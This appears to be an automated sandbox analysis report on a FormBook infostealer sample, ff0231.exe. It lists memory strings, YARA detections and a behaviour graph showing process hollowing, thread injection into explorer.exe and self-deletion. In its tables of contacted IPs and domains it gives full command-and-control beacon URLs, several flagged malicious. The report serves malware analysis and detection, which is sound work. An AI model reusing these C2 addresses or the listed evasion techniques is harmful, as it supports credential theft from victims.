Source: explorer.exe, 00000005.00000000.694248154.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.680861129.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.710578912.0000000001080000.00000002.00020000.sdmp, rundll32.exe, 00000009.00000002.1195863451.00000000038A0000.00000002.00020000.sdmp, explorer.exe, 00000010.00000000.874008659.00000000010E0000.00000002.00020000.sdmp, explorer.exe, 00000010.00000000.807619992.00000000010E0000.00000002.00020000.sdmp, explorer.exe, 00000010.00000000.877804604.0000000004DA0000.00000004.00000001.sdmp, explorer.exe, 00000010.00000000.823573797.0000000004DA0000.00000004.00000001.sdmp Binary or memory string: Progman
Source: rundll32.exe, 00000009.00000002.1195863451.00000000038A0000.00000002.00020000.sdmp, explorer.exe, 00000010.00000000.874008659.00000000010E0000.00000002.00020000.sdmp, explorer.exe, 00000010.00000000.807619992.00000000010E0000.00000002.00020000.sdmp Binary or memory string: EProgram Manager
Source: explorer.exe, 00000005.00000000.694248154.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.680861129.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.710578912.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000010.00000000.807619992.00000000010E0000.00000002.00020000.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 00000005.00000000.686890650.000000000A716000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.700630770.000000000A716000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.718270528.000000000A716000.00000004.00000001.sdmp Binary or memory string: Shell_TrayWnd5D
Source: explorer.exe, 00000010.00000003.806389937.0000000004B41000.00000004.00000001.sdmp, explorer.exe, 00000010.00000000.876694512.0000000004B74000.00000004.00000001.sdmp, explorer.exe, 00000010.00000000.821595655.0000000004B74000.00000004.00000001.sdmp, explorer.exe, 00000010.00000003.806569540.0000000004B71000.00000004.00000001.sdmp Binary or memory string: ProgmanP

Language, Device and Operating System Detection:

barindex
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_10005A84 cpuid 0_2_10005A84
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_0040594D GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA, 0_2_0040594D

Lowering of HIPS / PFW / Operating System Security Settings:

barindex
AV process strings found (often used to terminate AV products)
Source: explorer.exe, 00000010.00000003.834907538.0000000006236000.00000004.00000001.sdmp, explorer.exe, 00000010.00000000.836697354.0000000006210000.00000004.00000001.sdmp, explorer.exe, 00000010.00000000.880477634.0000000006210000.00000004.00000001.sdmp Binary or memory string: C:\Program Files\Windows Defender\MSASCui.exe

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 0.2.ff0231.exe.2920000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.ff0231.exe.2920000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.1.ff0231.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.ff0231.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.1.ff0231.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.ff0231.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000000.706889621.000000000F2F4000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.730860084.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1195175405.00000000031A0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000001.676423875.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000000.675874776.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.731603632.0000000000D00000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1194078465.0000000000D80000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.731581465.0000000000CD0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.679018154.0000000002920000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1195210641.00000000031D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.720796020.000000000F2F4000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000000.674213587.0000000000400000.00000040.00000001.sdmp, type: MEMORY

Remote Access Functionality:

barindex
Yara detected FormBook
Source: Yara match File source: 0.2.ff0231.exe.2920000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.ff0231.exe.2920000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.1.ff0231.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.ff0231.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.1.ff0231.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.ff0231.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000000.706889621.000000000F2F4000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.730860084.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1195175405.00000000031A0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000001.676423875.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000000.675874776.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.731603632.0000000000D00000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1194078465.0000000000D80000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.731581465.0000000000CD0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.679018154.0000000002920000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1195210641.00000000031D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.720796020.000000000F2F4000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000000.674213587.0000000000400000.00000040.00000001.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 528603 Sample: ff0231.exe Startdate: 25/11/2021 Architecture: WINDOWS Score: 100 41 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->41 43 Found malware configuration 2->43 45 Malicious sample detected (through community Yara rule) 2->45 47 7 other signatures 2->47 10 ff0231.exe 17 2->10         started        process3 file4 31 C:\Users\user\AppData\...\xavjqrgsngv.dll, PE32 10->31 dropped 59 Tries to detect virtualization through RDTSC time measurements 10->59 61 Injects a PE file into a foreign processes 10->61 14 ff0231.exe 10->14         started        signatures5 process6 signatures7 63 Modifies the context of a thread in another process (thread injection) 14->63 65 Maps a DLL or memory area into another process 14->65 67 Sample uses process hollowing technique 14->67 69 Queues an APC in another process (thread injection) 14->69 17 explorer.exe 14->17 injected process8 signatures9 39 System process connects to network (likely due to code injection or exploit) 17->39 20 rundll32.exe 17->20         started        process10 signatures11 49 Self deletion via cmd delete 20->49 51 Modifies the context of a thread in another process (thread injection) 20->51 53 Maps a DLL or memory area into another process 20->53 55 Tries to detect virtualization through RDTSC time measurements 20->55 23 explorer.exe 1 147 20->23         started        27 cmd.exe 1 20->27         started        process12 dnsIp13 33 www.comptesgratuit.fr 185.53.178.54, 49835, 80 TEAMINTERNET-ASDE Germany 23->33 35 facebook-meta.net 15.197.142.173, 49886, 80 TANDEMUS United States 23->35 37 9 other IPs or domains 23->37 57 System process connects to network (likely due to code injection or exploit) 23->57 29 conhost.exe 27->29         started        signatures14 process15
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
5.9.96.94
 www.schuette.tech Germany
24940 HETZNER-ASDE true
142.250.203.115
 ghs.googlehosted.com United States
15169 GOOGLEUS false
185.53.178.54
 www.comptesgratuit.fr Germany
61969 TEAMINTERNET-ASDE true
15.197.142.173
 facebook-meta.net United States
7430 TANDEMUS true
34.102.136.180
 evchargeoracle.com United States
15169 GOOGLEUS false

Contacted Domains

Name IP Active
www.comptesgratuit.fr 185.53.178.54 true
www.schuette.tech 5.9.96.94 true
evchargeoracle.com 34.102.136.180 true
ghs.googlehosted.com 142.250.203.115 true
facebook-meta.net 15.197.142.173 true
meta-facebook.life 34.102.136.180 true
www.facebook-meta.net unknown unknown
www.teslaislandboys.com unknown unknown
www.evchargeoracle.com unknown unknown
www.meta-facebook.life unknown unknown
www.chasesecurobanking.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.comptesgratuit.fr/fh3c/?7nhH=Hxl0d2MH-t9Hyv&z0GdXd=ygpAwtep7WxWCgU1n5iY5amVcELu0tSIdE/9Y9Jyy4nkdNu97XXXbghTbpjnrxNYSyQT true
  • Avira URL Cloud: safe
 unknown
http://www.teslaislandboys.com/fh3c/?7nhH=Hxl0d2MH-t9Hyv&z0GdXd=n2wKPxZ8pCyDi97rnXro6S5Jba3+KYmZJcqoataOVa/Ib+/xmeU19xREWNmNK15lIZxN false
  • Avira URL Cloud: safe
 unknown
http://www.evchargeoracle.com/fh3c/?z0GdXd=TEDmW6iEX7An5lAq1gB0cQiS4L3buUHqtO3o3qqMncoo4GVsMboScKfxnSemig/wshnV&7nhH=Hxl0d2MH-t9Hyv false
  • Avira URL Cloud: safe
 unknown
www.prometaly.fr/fh3c/ true
  • Avira URL Cloud: safe
 low
http://www.facebook-meta.net/fh3c/?z0GdXd=WoHcE9GCxXT7wUBgkc+2l4Z3+m1n5nn1xCnIHBmko3viCo3Igm4+Oh54SxcB0NGJBR7p&7nhH=Hxl0d2MH-t9Hyv true
  • Avira URL Cloud: safe
 unknown
http://www.schuette.tech/fh3c/?z0GdXd=N2vEI1OX7w/3udy+ydCYc971PZER2FJlK1gZL6lMnGSu15qwd848spLio4s8j+VNLmhX&7nhH=Hxl0d2MH-t9Hyv true
  • Avira URL Cloud: safe
 unknown